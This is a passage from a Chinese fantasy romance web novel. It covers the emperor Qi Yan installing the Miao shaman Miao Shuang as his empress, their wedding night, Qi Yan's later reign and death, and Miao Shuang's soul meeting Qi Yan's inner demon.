白蛇有点蒙,红玛瑙般的小豆眼流露出些许茫然,准备换盘菜吃,却一不小心顺着桌边跌落。 明秋及时接住了它。 看着醉死过去的白蛇,沉默。 * 休息放纵了几天,活儿还得继续干,朝还得继续上。 转眼已是元兴三年,春闱结束也有一阵子了,这日早朝,礼部尚书向祁雁递上一本画册。 祁雁随手打开翻了翻,里面全是些妙龄女子的画像,他抬眼道:“乌爱卿这是何意?” “这是户部和礼部精心筛选出来的,京中适龄女子的名录,都是大家闺秀,美若天仙,琴棋书画样样精通,有美貌有才学,陛下不妨看看。” “美貌?才学?”祁雁将画册随意地丢在一边,冷笑道,“不及大巫一毫。” 他注视着面前的臣子:“朕好像并没说过要纳妃。” “陛下!”乌尚书上前一步,来到他近前,试图动之以情晓之以理,“陛下即位三年,后宫仍空空荡荡,膝下更无一儿半女,这这……这如何是好啊?” “朕不喜女子,也无纳妃的打算,以后别再给朕看这种东西了,这次朕就当没发生过。”祁雁道。 “可是……” “朕有发妻,此生不会再娶,至于继承人么……朕自有办法,诸位爱卿就不必操心了。” 他自然理解臣子们的担忧,而今他年纪已三十有三,别说龙子成群了,连太子都没有,他们不着急是不可能的。 但理解不代表他会让步。 “我看乌爱卿最近是闲了,”祁雁冷淡道,“科举结束,便无事可做了?既如此,不如早日将立后之事提上日程,爱卿倒是提醒我了,朕即位至今已有三年,竟还没给发妻正式名分,实在不该。” 乌尚书闻言,不禁大惊失色:“陛下,大巫他是男人!如何能当皇后啊?!” “男人又如何?”祁雁终于有些不耐烦了,眉头一压,“大景民风开放,只要朕喜欢,管他是男人、女人,哪怕是只狸奴,朕说他是朕的皇后,他就是。” 乌尚书瞳孔地震:“啊?!” “这些年来,朕与大巫同舟共济,相濡以沫,朕能有今日,全仰仗大巫照拂,说大巫对朕有再造之恩也不为过,朕封他为后,难道不是理所应当?就算他要朕的皇位,朕也愿拱手相让。” “更何况,朕与大巫的婚事是先帝钦赐的,乌爱卿也算两朝元老,若对这桩婚事有意见,先帝在时为何不提?” 乌尚书一愣:“这……” “不向先帝劝谏,却来劝朕,乌爱卿难道是对朕有所不满?想让朕做个忘恩负义之人,抛弃结发妻子另择良缘?” 乌尚书冷汗都下来了,连连摆手:“不不……臣绝无此意!” “没有对朕不满,那就是针对先帝喽?有言而不谏,渎职之罪,乌大人可是在先帝时期就包藏祸心,已有反意?!” 祁雁说着,用力一拍桌子,桌上的东西齐齐一跳。 乌尚书眼前一黑,吓得直接跪在了地上:“臣绝无此意啊!陛下明鉴,陛下明鉴!” 祁雁冷若冰霜的脸色又迅速缓和下来,他轻叹口气,起身上前,笑着扶起对方:“朕只是跟爱卿开个玩笑,爱卿何必行此大礼?快快请起。” 乌尚书腿都吓软了,万万没想到自己只是提议让陛下纳妃,就莫名其妙要被扣上谋反的帽子。 他浑身汗出如浆,后退一步,回到自己的位置上坐着,脸色煞白,半天都缓不过劲来。 周围的臣子向他投来同情的眼神。 “诸位爱卿还有什么问题?”祁雁在众人之间踱着步,“议事而已,不必拘谨,有什么话就说。” 朝臣们你看看我,我看看你,哪里还敢说一个不字,不约而同地选择了缄口不言。 过了许久,才有个大胆的户部尚书小声开口:“可陛下,大巫他是……苗人,古往今来,汉人天子也没有立苗人为后的先例啊?还请陛下……三思。” “苗人又如何?”祁雁停在他面前,“汉人是朕的子民,苗人亦是,既然都是朕的子民,就该一视同仁,是苗是汉又有何区别?朕好不容易才让两族和谐共处,爱卿此言,难道是认为朕的决策不够正确,苗民不该拥有和汉人等同的地位,在趁机挑唆两族分裂吗?!” 户部尚书脑子里嗡的一声,比礼部尚书跪得还快:“臣不是这个意思!” 祁雁也跟着他蹲下身,轻拍他的肩膀:“爱卿何至于此?都说了不必行如此大礼,这又不是宣政殿。” 户部尚书欲哭无泪,哆嗦着不敢抬头。 祁雁不再管他,又站起身来:“朕知你们难做,大巫是男子,又是苗人,诏书不好写,仪典也不好办,可既然穿上这身官服,就已比普通人强上一截,理应办普通人不可办之事,有难处,想办法克服就是了。” “古往今来没有先例,那就由朕来开创这个先例,众卿替朕办成了此事,便也成了开创先例的臣子,史书上自会留下属于众卿的一笔,尔等入朝为官,身居高位,难道不正是为了青史留名?如今机会就摆在眼前,又何故推三阻四?” 朝臣面面相觑,居然真有人被他说服了,热血沸腾起来:“臣定为陛下鞠躬尽瘁,死而后已!” 有人身先士卒,剩下的人也不好什么都不说,一时间群臣慷慨激昂,好像真要干一件名垂千古的大事。 祁雁微笑道:“能有众卿为朕排忧解难,朕心甚慰,若无其他事,就散朝吧。” 散了朝,臣子们三五成群往皇宫外走,腿软的乌尚书这才算缓过劲来,一想到这么难办的差事落在自己头上,就忍不住唉声叹气,愁容惨淡。 有看热闹不嫌事大的同僚凑上前来,跟他勾肩搭背:“乌兄还好吧?” “好什么好,你看我像还好的样子吗?” “你说你闲得没事,惹陛下干嘛?他都敢在朝堂上捅自己,还有什么不敢干的?封苗族男人为后算什么,你把他惹急了,他真弄个狸奴过来。” 乌尚书连呸三声:“贤弟快把这话收回去,为兄可听不得!” 又一个官员凑上前来,打趣道:“我看乌兄是接了科举的差事,觉得自己被陛下赏识,飘了!这回啊,让陛下亲自杀杀你的威风!哈哈!” 乌尚书急忙去捂他的嘴:“这是能说的吗?快给我闭嘴!” 朝臣们将自己的快乐建立在他人的痛苦之上,在一片欢笑声中离开了皇宫。 纵然差事难办,却也还是得办,礼部被迫接下了封后仪典的操办事宜,各部之间相互配合,紧锣密鼓地开始了筹备。 元兴三年,八月初六,景天子祁雁正式册封苗疆大巫苗霜为皇后,启用含元殿举行册封仪式,一场盛大的封后仪典在此召开,宴请天下来客,共享盛会。 第149章 尾声 忘了泊雁仙尊,我才是你的夫君!…… 册封仪式实在繁琐, 因为苗霜身份特殊,也不能完全遵循旧制,负责操办仪典的大臣们绞尽脑汁, 终于琢磨出一套合理又不失新意的流程来。 祁雁在大殿上等了许久,已经有些等不及了, 今日他特意换上了一身喜庆的婚服,赤色衣袍之上金龙翻飞, 将他整个人衬得俊逸又贵气。 殿外一片欢腾,仪仗队伍引车辇入宫,奏乐之声一直从宫门而来,抵达含元殿前。 等候多时的天子听到这乐声,立刻便起了身,主动向殿外迎去。 仪仗队伍顺殿前台阶拾级而上,分立两侧,太监撑着华盖上前,苗霜从车辇上下来, 银制的项圈轻碰锁骨,银坠随着他的动作摇晃, 落于襟前。 雪色发丝束起,头上是一顶纯银打制的凤冠,凤首步摇口衔宝珠,他薄唇上点了少许口脂,显得比平时更加唇红齿白。 喜服上绣着的凤鸟振翅欲飞,苗霜本就爱穿红, 今日这红穿得更是浑然如画,他顺着台阶缓步走进殿内,一眼就看到等在前面的人。 他视线在祁雁身上睃巡一圈, 评价道:“不错,还挺好看。” 可比之前季渊赐的那身婚服强了百倍。 若是前世他们有幸结为道侣,祁雁也该是这般样子。 “夫人也是,”祁雁笑着执起他的手,“快进来。” 苗霜停在御座前,听礼官选读完诏书,接下册宝,祁雁冲他招招手:“来坐。” 虽然这龙椅苗霜已经坐过很多次了,但和祁雁一起坐还是头一遭,不免有些新鲜。 大殿内坐满了人,除了朝臣,还有各国前来道贺的使节,曾经的南照国君,现在的南照王派了专人前来,库莫奚和乞塔的使者也早早便到了,甚至还有之前和大景交过战的西蕃,据说现在换了国君,想必是想趁机修复一下和大景的关系。 苗疆更不必说,苗霜身为大巫,苗寨绝对不会缺席,这次代表苗民前来道贺的不是别人,正是圣子。 一别三年,圣子已十岁了,当年爱哭鼻子的小孩也有了些少年模样,此刻正坐在堂下,眼巴巴地往苗霜他们这边看。 祁雁站起身来,举杯对殿内众人道:“感谢各路使节远道而来,感谢诸位爱卿为大景呕心沥血,朕和皇后与诸位共饮此杯,愿大景国泰民安,祝诸位福寿永年。” 他说着将那杯酒一饮而尽,苗霜也随了一杯。 殿内众人亦饮尽杯中酒,小太监扯开嗓音:“开宴——” 人们纷纷落座,舞乐声起,献舞的不仅有宫中舞女,还有胡姬,以及跟随圣子一起从苗疆赶来的苗民少女。 殿内欢声笑语,众人喝酒吃席,坐了许久的圣子终于是忍不住了,偷偷跑到苗霜身边:“阿那……” 苗霜瞥他一眼:“何事?” “阿那怎么都不理我,我专程过来给你道贺,这一路山险水急,我还从没出过这么远的远门呢。” “……还要我怎么理你?”苗霜用力掐住他的脸蛋,“我都已经陪你在京都逛了三天了,圣子已经十岁,能不能不要这么黏人,一直缠着大人不放。” “疼!”向久忙挣脱他的魔爪,捂着自己的脸道,“可这里我人生地不熟,只有阿那一个熟人了嘛……” “怎么,我不算你的熟人?”祁雁适时地替苗霜解了围,笑道,“我可还救过圣子的性命,圣子难道把我忘了?” “当、当然没有!”向久忙道,有些不敢看他,低下头去,“但……但你是皇帝。” “皇帝有何不同?” “皇帝……身份尊贵,我不敢轻易和你说话。” “那皇后就可以了?” “……” 眼看着向久说不出话,一张小脸都憋红了,祁雁忍俊不禁,伸手揉了揉他的脑袋。 若放在以前,向久定要蹦出一句“不准摸我的头”,然而此刻他只是张了张嘴,看起来想说什么,最后却又没说。 如果对一国之君说不会发生什么?以向久浅薄的阅历暂且判断不出,只能有点生气地瞪着他,敢怒不敢言。 祁雁借天子之威强行吓唬住了一个小孩,也算过了一把摸圣子头的瘾,摸完了,又拍拍身边的位置:“这龙椅还宽敞,圣子不妨也一起上来坐坐?” 向久看了看他,又看了看苗霜,纵然金灿灿的龙椅让他很有探究欲,却终是内心挣扎着拒绝了:“还……还是不了吧,他们都在看我,我、我不敢。” 说完,生怕对方再开口似的,一溜烟回到了自己的位置。 烦人的小孩终于走了,苗霜忍不住一挑眉梢,举起酒杯道:“陛下这招以进为退真是炉火纯青,怪不得这满朝文武都被你治得服服帖帖的。” 祁雁跟他碰了杯:“夫人比起我来倒也不遑多让。” 天色渐晚,今日的宴会要持续到深夜,苗霜和祁雁却不一直在这里陪着,酒过三巡便离了席,回到寝殿,干正事。 这么个大好的日子怎么能少得了洞房,昂贵的喜服被人很不客气地从身上扒了下来,祁雁取下苗霜头上那顶碍事的凤冠,捉住他佩戴银铃的手腕。 或许是看久了已经习惯,他还是更喜欢苗霜散发的样子,他反复亲吻着对方雪白的发丝,把脸埋在他胸前,轻轻将那抹殷红含于口中。 银铃在两人之间晃动,和着身体的节奏震荡出韵律,苗霜忍不住仰起脊背,剧烈的刺激快要在身体里炸开。 可偏在这时,铃声又缓和下来,有一下没一下地轻晃着,犹如隔靴搔痒,让人浑身躁动。 他无法忍受地开口催促祁雁,腕上银铃便是一阵猛烈摇晃,过不多时又倏而一凝,对方又停了。 铃声就这样时缓时急,苗霜只差那临门一脚,却偏偏无法突破,这令他暴躁无比,气得他在对方肩膀上用力啃咬。 被咬疼了的祁雁终于不再玩他那该死的把戏了,某个瞬间苗霜大脑一片空白,他微微气喘着,猩红的眼眸有些涣散。 还没缓过劲来,眼前已是天地倒转,他又被人翻了个面,新一轮的疾风骤雨已然到来。 不记得究竟颠鸾倒凤了多久,他只感觉自己已经是祁雁的形状了,好不容易等到对方放过他,几乎是瞬间昏睡过去。 第二天两人果断谁都没起床,借着这次封后大典,祁雁又给群臣放了三天假,举国同庆。 日上三竿时,祁雁才终于披衣起身,他还有点不想离开这温暖的被窝,但昨夜消耗太大,实在有些饿了。 才坐起来,就感觉手臂被人勾住,他回头看去,只见苗霜迷迷糊糊抓着他的手不让他走,还把脸在他掌心蹭蹭。 祁雁不禁唇角微弯,俯身想要吻他,可这一凑近,却听到对方含混不清的梦呓:“师兄……” 祁雁:“……” 师兄? 如果换作别人,绝对听不清苗霜在说什么,偏偏他耳力过人,清楚地听到了那“师兄”二字。 他上扬的嘴角一下子抿平,脸色几乎在瞬间阴沉下来。 师兄又是何人? 除了泊雁仙尊,苗霜心里竟还有别人? 还是说,二者是同一个人,泊雁仙尊,就是“师兄”? 自从被绑了生死蛊,他就几乎忘了这泊雁仙尊,以为苗霜已经属于他了,没想到三年过去,他竟还记得他。 一股无名怒火袭上心头,祁雁气不打一处来,强行叫醒了床上的人,冷冷道:“你在叫谁?” 苗霜还没完全从睡梦中醒来,只记得自己刚刚好像做了一个美梦,有点迷茫地看向面前的人:“什么?” “‘师兄’是谁?”祁雁死死盯着他的眼睛,“和泊雁仙尊有什么关系?” “……?”苗霜一愣,万万没想到能从祁雁嘴里听到“泊雁仙尊”这几个字,“你从哪知道的这个名字?” 一句泊雁仙尊让他彻底清醒过来,因为困倦而迟钝的头脑又能正常思考了,他努力回忆,终于隐约记起,自己似乎是在刚刚穿来的那天,在那个新婚之夜,脱口而出了“泊雁仙尊”几个字。 他神色不禁变得有些奇怪:“这都多少年了,你还记得?” “你别管我记不记得,”祁雁向他逼近,将他整个人困在自己身下,“你已是朕的皇后,躺在朕的床上,心里怎可还在想别人?” 苗霜有些控制不了自己的表情:“……什么?” “还不承认?”祁雁眯了眯眼,已是不悦至极,“还要我说得更清楚些吗?我不管泊雁仙尊是谁,也不管你们之间发生过什么,给我忘了他,现在我才是你的夫君!” 苗霜:“……” 祁雁用力掐住他的手腕,黑眸中映着对方的影子,阴云几乎要将他吞没:“你一定想要个替身也行,但这个替身不能是朕,只能是他!” 苗霜看着他。 他努力克制,却实在没忍住,大笑出声。 “哈哈……哈哈哈哈哈哈哈!!” 这笑声让祁雁也是一愣,刚蓄积起来的气势瞬间又弱了些,莫名其妙道:“你笑什么?” 苗霜不答,笑得根本说不出一句完整的话来:“哈哈哈哈哈哈……” 祁雁,居然在吃自己的醋! 还要自己当自己的替身! 从没见过比这更好笑的事,他笑得停不下来,笑得在床上打滚,笑得弓起身子,眼泪都笑了出来。 所以,之前在苗寨时,祁雁的种种举动,都是因为在吃泊雁仙尊的醋? “哈哈哈……哈哈哈哈……” “……你到底在笑什么?”祁雁目光阴沉地咬了咬牙,感觉自己一拳打在了棉花上,从没有任何一刻比现在更加恼火,他强行按住了苗霜,“不准笑了!” 苗霜止笑了一瞬,看到祁雁那张冷峻的脸:“哈哈哈哈!” 祁雁:“……” 他终于忍无可忍了,强行掀开被子,堵不上某人上面那张嘴,那就堵住下面那张嘴。 苗霜微微皱眉:“唔……” 祁雁本来还想让苗霜今天好好休息,现在看来也不需要了,这一招果然有效,很快某人就再也笑不出来。 身体越来越热,头脑却越来越清醒,祁雁看着身下的人,总算慢慢冷静了下来,苗霜的反应实在出乎他的意料,他怎么都没想到提到泊雁仙尊时,他会是这样一种反应。 竟然完全不心虚,且一点也不尴尬。 这让祁雁忍不住产生了些奇怪的想法,他有时会觉得心口空落落的,好像少了些什么,好像有什么想要保护的人,有些未曾兑现的诺言,有不知名又不可磨灭的愧意。 还有苗霜对他的种种,对他表现出来的爱和恨,他一直以为对方在透过他看谁的影子,可如若从来就没有过另一个人呢? 难道他和泊雁仙尊,不仅仅是长得像,而是…… 泊雁……雁……祁雁…… 眼前似乎又浮现出烧红的晚霞,某个遗忘已久的梦终于从沉眠的记忆深处唤醒,他看到红霞之上飞过的一行大雁,身边人挽着他的胳膊,伸手向天边指去。 他们站在被晚霞浸透的雪野中,他看不清那人的脸,可直觉告诉他,那好像是苗霜。 梦中的自己,手里似乎总拿着一把剑。 剑…… 他生来就会习剑,却又无论如何也不能用剑杀人,他记得在那个梦的最后,他亲手折断了手中剑。 断剑之上,染着谁的血? 一个分神,苗霜终于找到机会,挣开了他的手,白皙的腕子上是层层叠叠的指印。 他伸手捧住祁雁的脸,微喘着对他道:“你这傻子……泊雁仙尊,鸣川师兄,祁雁,祁鸣川,还不都是一个人?” 祁雁黑沉的眼眸微微睁大,眉宇间的阴霾正在退去。 苗霜努力抬起头,在他唇边印下一吻:“一直以来……都只有你啊。” 第150章 化蝶 陛下……驾崩了。 元兴三年, 八月初六,景天子祁雁册封苗疆大巫苗霜为皇后。 同年十月,祁雁将瑞王季澜两岁幼子过继膝下, 立为太子。 元兴六年,经过数年整肃, 大景官场贪污腐败之风为之一清,天子以强硬手腕削藩收权, 恩威并施,将节度所掌大权剥离开来,政权、财权重新收归朝廷,空有兵力的节度使无财政支持,也难再翻起风浪。 随着多年来推行利民之政,对尸位素餐的官员及大肆欺压剥削百姓的贵族严查严惩,又推动贸易往来,百姓渐渐安居乐业,千疮百孔的大景得以休养生息。 随着财政状况逐年好转, 国库充盈,天子开始筹备再伐狄历。 元兴九年, 偃旗息鼓数年的狄历人又频频南下犯大景边境,如此送上门的机会岂能错过,三十九岁的天子祁雁再度御驾亲征,这一次直接杀穿了狄历王庭,灭狄人无数,生擒狄历国君。 狄历国君跪地投降, 主动交出大景叛徒金孝仁以平息天子之怒,求天子饶自己一条性命,自己便心甘情愿奉大景天子为主。 天子允, 将狄历国君及其子嗣带回大景,赐封地,命人好生照看,又将叛徒金孝仁凌迟处死,游街示众。 自此,狄历国灭。 同年,深知自己处境危险的库莫奚和乞塔亦向大景称臣,大景领土再度扩张,北部边境的隐患全部消除。 元兴十三年,西蕃内乱,祁雁趁机派兵攻打,因内部矛盾严重而动荡不堪的西蕃几乎不堪一击,走投无路的西蕃王储甚至向大景求援,求景帝帮助他们平息叛乱。 次年二月,西蕃国灭。 北部、西部广袤土地皆纳入大景版图,自此,天下一统。 * 元兴十六年,冬。 紫宸殿的地龙烧得正旺,天色已晚,明秋安静候在屏风外,等待天子结束今日的忙碌。 明秋侍奉天子多年,早已从当年的小内侍成为今日的宦官总管,他又等了一会儿,轻声开口道:“陛下,时候不早了,该歇息了。” 近两年来陛下的身体状况愈发不好,这皇宫里的地龙都烧得比以往热了,偏偏还不愿好好休息,时常处理政事直到深夜。 大巫说按照他这个熬法,迟早有一天把自己累死,本来年轻时就屡次重伤,提前透支了生命,年纪渐长也不知道爱惜,死了没人替他收尸。 对此,祁雁积极认错,但就是不改,久而久之,苗霜也懒得管他了。 屏风里并没什么动静,祁雁时常不理会明秋的劝阻,明秋也习惯了,又等待片刻,他再度开口:“陛下,已是亥末了,若再不休息,皇后殿下又要责怪奴婢。” 一片安静。 这时,明秋终于觉得有些不对,虽然往常他劝陛下,陛下也不理,可如果他抬出皇后的名字,陛下还是会收敛一些,至少也会故意制造一些动静,表示自己已经在收拾东西准备休息了,有时一磨蹭就是两炷香,气得苗霜亲自来拿人。 可今日,有些过于安静了。 明秋心中莫名生出某种不好的预感,决定不再等下去了,道了句“陛下恕罪”便闯了进去。 祁雁正坐在御案前,单手撑头,面前是一本没批完的奏折,明秋又走近了些,看到他合着眼睛,似是不小心睡着了。 许是被蛊虫重塑过全身经脉的缘故,明明过去了十几年,岁月却并没在祁雁身上留下太多痕迹,容貌几乎还和当年一样,只是鬓边多了几缕白发。 明秋的视线在他脸上停留了几秒,不知为何,他总觉得此刻的陛下脸色有些苍白,正在此时,余光扫到书案上的奏折,一支毛笔掉落其上,笔尖上饱蘸的朱砂墨在纸上晕出一片血迹般的红色。 明秋心里忽然打了个突,不祥的预感愈发强烈了,他开口唤道:“陛下?” “……陛下!” 无人应答。 明秋只感觉心跳加快,他咽了口唾沫,有些颤抖地伸出手,小心翼翼凑到祁雁鼻端。 并无呼吸…… 明秋大惊失色:“陛下!” 一句“陛下驾崩了”险些脱口而出,又生生忍住了。 不,不对,皮肤还是热的,去找大巫,快去找大巫,说不定还有救! 这几年陛下屡次病重,无法起身,甚至出现过短暂的失明和失聪,但最终都被大巫救了回来,以大巫的医术,这次也一定能救回来! 明秋匆忙转身要去寝殿寻找苗霜,可刚走到门口,又突然停住了脚步。 寒冬腊月,屋外竟飞过了一群蝴蝶。 色彩斑斓的蝶,在这凄清萧索的冬日显得格外艳丽,明秋一时间呆住了,他记得大巫的确培育出了一批耐寒的蛊虫,但并不包括蝴蝶。 蝴蝶群乘着月色,向高远的天际飞去,开合的蝶翼反射着月光,如梦似幻的色彩让人移不开视线。 有一只离群的蝴蝶没有跟上同伴,而是向着他们所在的方向飞来,它从明秋耳边翩然而过,翅膀卷起的微风中,明秋回过头来,只见那蝴蝶缓缓落下,停在了祁雁鬓边。 那是只雪白的蝴蝶,翅膀上的斑纹犹如一对猩红的眼,和白发赤眸的大巫出奇神似。 明秋蓦地回想起许多年前听到的一段对话。 那时陛下和大巫不知为何谈起死亡的话题,大巫说他们死后一定会变成一堆虫子,让陛下预感到自己快死的时候找个地方偷偷死,别吓到宫里的人。 陛下笑着反问大巫那你呢,大巫说自己就算变成虫子,也会变成最好看的虫,他要变成一只蝴蝶飞离这皇宫,让陛下抓不着他。 一语成谶。 只是那蝶群已然飞走,为何这只白色的蝴蝶却久久不愿离去,还停留在陛下身边? 明秋眼眶湿润,他身形一矮,双膝跪地,高声痛呼:“陛下……驾崩了——!” 元兴十六年冬,十一月廿四,夜,景天子祁雁于伏案理政时溘然长逝,皇后苗霜及白蛇蛊王不知所踪。 一只白色蝴蝶在祁雁鬓边停留许久,直到太监们挪动尸身,蝴蝶才盘旋离去。 七日后,天子被安葬于陵寝,盖棺之时,本已离去多日的蝴蝶竟又飞回,落入棺内,停在祁雁唇上。 看到那只蝴蝶,太子当即跪倒,泣不成声。 人们都说,那只白色的蝴蝶就是失踪的皇后,那赤色的圆斑像极了苗霜的眼,它落在棺椁内张开翅膀,仿佛还在替祁雁注视世间的一切。 蝴蝶不肯离去,人们只得将它和天子的尸身一并封入棺内,合葬于陵寝。 举国同悲,天下缟素。 遵循先帝遗诏,年仅十五岁的太子继位登基,还朝于雍,改年号“承景”。 纵观先帝一生,励精图治,外攘狄戎,内肃朝纲,力挽狂澜,救摇摇欲坠的大雍江山于水火,乃至一统各国,使大雍国力达到空前鼎盛。 又广行惠民之策,减轻赋税,任用贤才,百姓丰衣足食,家国安定,四海升平,大雍由此续命三百年。 谥号,武。 * 棺盖合拢时,苗霜的视野终于陷入一片黑暗。 他不知道自己现在是否还算活着,附在蝴蝶身上的似乎只是他的一缕意识,他能借蝴蝶的身体感知到周围的环境,但那种感觉并不是特别清楚,若即若离。 细细的触足停在祁雁脸上,他已经不能感知出对方的皮肤是冷还是热,只知道这具尸身到现在依然是完整的,没有变成一堆蛄蛹的虫子。 哈,居然还真让他降伏了那些蛊虫。 待在棺材里的时间实在无聊,反正他现在只是一只蝴蝶,也不会被活活闷死,他便在祁雁身上四处爬动,或振翅飞起,挂在棺壁上。 但没过多久,他就觉得累了。 蝴蝶破茧而出,寿命往往只有几天,现在本就不是蝴蝶活跃的季节,能坚持到下葬已是不易。 这只蝴蝶的生命也要走到头了。 苗霜并不怕死,他早就是死过一次的人了,作为蝴蝶再死一次倒也新鲜。 只是他第一次知道生死蛊被彻底触发的滋味是这样的,他能够感觉到生命源源不断地流逝,几乎在瞬间他就没了力气,只能眼睁睁看着自己的生命走向消亡。 其实在几年前,祁雁又一次病重时,就让他解了生死蛊,他却不肯。 死从来不是一件可怕的事,他只怕不能与祁雁死在一处。 见他态度坚决,祁雁便也没有再提。 头脑渐渐发沉,蝴蝶已经飞不起来,挣扎着爬回祁雁身上,最终停留在心口处。 逐渐模糊的意识当中,苗霜在思考一个问题。 在苗寨的那一次,祁雁濒死,这个世界差点崩溃,为什么现在又没事了? 祁雁甚至已经死了,这个世界还安然无恙。 嗯……祁雁已经死了?泊雁仙尊的神魂也会死去? 想着想着,苗霜觉得自己好像睡着了,慢慢地他不再能感知到那只蝴蝶的存在,短暂的生命已经逝去。 可他的意识竟还未消散,察觉这一点后,他猛地惊醒过来。 漆黑一片的视野再度有了光亮,他好像已不在那棺椁中了,定睛细看,周遭是连绵无垠的雪山,寒风吹动地面上细小的雪粒,在月色中翻滚沉浮。 好冷。 苗霜抬起头来,只见天上冷白的月亮已被阴影蚕食得只剩一道细弧。 他这是在……什么地方? 150-160 第151章 心魔 两个祁雁? 他仰头看着天上那轮诡异的月亮, 玉盘上的阴影忽然动了,一道黑影倏地向他掠来。 苗霜眼前一暗——纵然这里本来也不亮,如果不是地面上的积雪反射着零星的月光, 几乎是伸手不见五指。 “你居然醒了,我还以为你再也醒不来了。”讥诮的声音划过耳畔, 和那阴暗扭曲的影子一样阴冷又粘稠。 ……谁在说话? 那声音听起来有点像祁雁,却又不完全像, 毕竟,苗霜从没听过祁雁用这种怪异的语气说话。 “你是何人?”他问。 耳边风声呜咽不止,仿佛将他的声音也埋进雪里,让周遭的一切都变得极不真切。 “我是何人?”黑影轻笑着,在他周身环绕游走时,让人感觉像是在被冰冷的湖水舔舐。 黑影停在他面前,渐渐凝聚出一道人形来,黑色的雾气化作三千青丝,织就成破败的墨色道袍, 最终,一张熟悉的面容从浓雾深处剥离, 慢慢清晰。 “你说我是何人?”黑影扬起唇角,“怎么,许久不见,已经把我给忘了,我的好师弟?” 苗霜:“……” 祁雁?! 他有些难以置信,完全不敢相信祁雁竟会变成这副模样, 和曾经那个孤高冷淡的仙尊判若两人,如果硬要说的话,这个祁雁更像是魔尊时期的自己。 看着他怀疑的眼神, “祁雁”的表情瞬间冷了下来,他又上前一步,阴沉道:“当年你身负重伤,神魂几乎碎尽,我拼尽全力才把你救回来,又将你放在识海当中温养千年,而今你终于醒了,却装作不认识我?我的好师弟,你怎可这般薄情?” 那语气又是幽怨,又是愤恼,苗霜看他不像个仙尊,倒像个缠人的男鬼。 泊雁仙尊嘴里绝对说不出这种话,倒是和祁雁将军有些神似,却又比祁雁将军还夸张得多。 “你说我沉睡了一千年?”苗霜问,“你说……这里是你的识海?” “那不然呢?”“祁雁”阴森地盯着他瞧,仔细看时,苗霜才发现那双眼珠里漆黑一片,竟没有眼白。 这让他看起来更加诡异,由雾气凝聚起来的人形也不甚完整,残破的袖管里没有双手,只有不断变换的雾气,黑雾缠绕上他的手腕,顺着手臂向上攀援,森然潮湿的寒意让苗霜起了一身鸡皮疙瘩。 ……或许也没有鸡皮疙瘩可起,毕竟他现在也是魂体状态,他低头看了看自己快要被黑雾吞没的手,是半透明的。 “如果这里是你的识海,如果你是祁雁,”苗霜抽回自己的手,指向身后,“那他呢?” 一望无际的雪野当中,有一人正盘膝静坐,雪色道袍一尘不染,冷白的肤色犹如皓月投下的月华,他双目紧闭,那张熟悉的面容还和记忆中一模一样,却眉发皆白,浑身上下似乎再找不出第二种色彩。 这方田地之中,竟有两个祁雁。 苗霜能感觉得到,白色的那个确是祁雁的神魂无疑,但黑色的这个,也并非不是。 两道人影都有着极强烈的祁雁的气息,一道清绝神圣不可玷染,一道却如月色下的阴影,阴暗扭曲,污浊不堪。 “他?哈……”黑色的祁雁看着那皓如霜雪的人,面上流露出刻骨的恨意,表情近乎狰狞,“青锋派的掌门,仙道馗首,自诩要庇佑苍生,却是个连自己的师弟都保护不好的废物。” 他狞笑着绕到苗霜身前,挡住他的视线:“是他杀了你,是他害死了你!明明你才是他的至亲之人,可他选择天下苍生独独不选你!他抛弃了你,我的好师弟,你恨不恨他?你一定恨他,道貌岸然的泊雁仙尊,他配不上你一根头发!” 苗霜后退一步,黑影却再度逼近,湿冷的寒意令人呼吸微窒:“凭什么是你,苗霜?凭什么被抛弃的是你,凭什么被选中的是他?!师尊抛弃你,修真界抛弃你,连你最信任的师兄都抛弃了你!” “你为他们付出了这么多,又得到了什么?你献上性命,穷尽一生,日日忍受魔气侵蚀,痛苦、混乱,却没人懂你!没人记得你,苗霜,人们只道你是个穷凶极恶的魔头,只为你的死拍手称快!” 苗霜:“……” “万魔峰上日复一日,你在等他,你等他救你,你对他的承诺深信不疑,可到头来,你却只等到他的长剑刺穿你的心脏。” 黑影绕着他踱步,浓稠的雾气聚了又散:“好疼啊,苗霜,你到现在还记得那一剑的滋味,你如此信任他,却换来他的背叛,青锋派又一次拯救了修真界,却是踩着你的尸体,每个人都得到了自己想要的,牺牲的只有你一人。” “他和历代掌门有何区别?没有,为了一己私欲残害同门,这样虚伪的仙门居然能当仙道第一大派,哈哈……” “伪君子们都该死,你说对不对,我的好师弟?” 他漆黑的眼珠死死地盯着苗霜:“泊雁仙尊心里没你,但我有!只要你我联手,我们一起杀了他,我就能占据他的躯壳!我答应你,我会帮你杀尽那些道貌岸然的伪君子,帮你屠了青锋派,让所有负你之人血债血偿!” 苗霜微不可闻地叹了口气。 他现在终于明白这黑影是什么了。 那的确是祁雁的一部分,或者,叫他“祁雁的心魔”更为准确。 道心坚定如他,竟也会生出心魔。 他偏头看向远处那道苍白的人影,神色复杂。 “……你为什么要用那种眼神看他?”心魔见他内心毫无波动,不禁有些恼火,“你难道不恨他?是他杀了你,是修真界的所有人一起杀了你!” “没有谁生来就该死,生来就该被抛弃!想想你的父母,他们送你来仙门是为了避难,如果他们得知你惨死于仙门之手,该有多痛心?你难道就忍心看着他们为你肝肠寸断?!” “我的爹娘已经死了,甚至连我也已经死了,”苗霜平静道,“凡人之命不过百年,就算是天道,也不能让三千年前的人死而复生。” “……”心魔不可思议地看着他,“所以你就这样认了?别忘了,泊雁仙尊修的是苍生道,你这般爱他,可有在他心中占据一席之地?你对他而言,和灵兽仙草也并无区别,仙尊博爱却不偏爱,你为他倾尽所有,也不过换他匆匆一瞥。” “答应我,和我一起杀了他,”心魔再次缠上来,“杀了他,我便是他!去他娘的苍生道,他有他的道,我有我的道,我之大道只为苗霜一人,苍生只配作衬!若苗霜身死,天下苍生又之于我何?!” 有那么一瞬间,苗霜几乎有些心动。 他自然想当祁雁心中的唯一,可他又清楚地知道,若祁雁心里真的只有他一人,那祁雁就不是祁雁了。 他笑了笑,对心魔道:“如果祁雁不在乎我,那你又从何而来?没有人会为了不重要之物生出心魔。” “……” 苗霜说完便绕过他向前走,心魔咬牙切齿:“……站住,你给我站住!” 苗霜充耳不闻,他知道这心魔不会伤他,因此更加胆大妄为起来,朝着远处的人影走去。 泊雁仙尊的神魂依旧盘膝打坐,似乎对他的醒来全无所觉。 苗霜抬起头来。 在静坐的祁雁头顶,悬着一柄剑。 一柄足有百丈高的巨剑,一眼望不到尽头,下窄上宽,形似那终年积雪的青锋山。 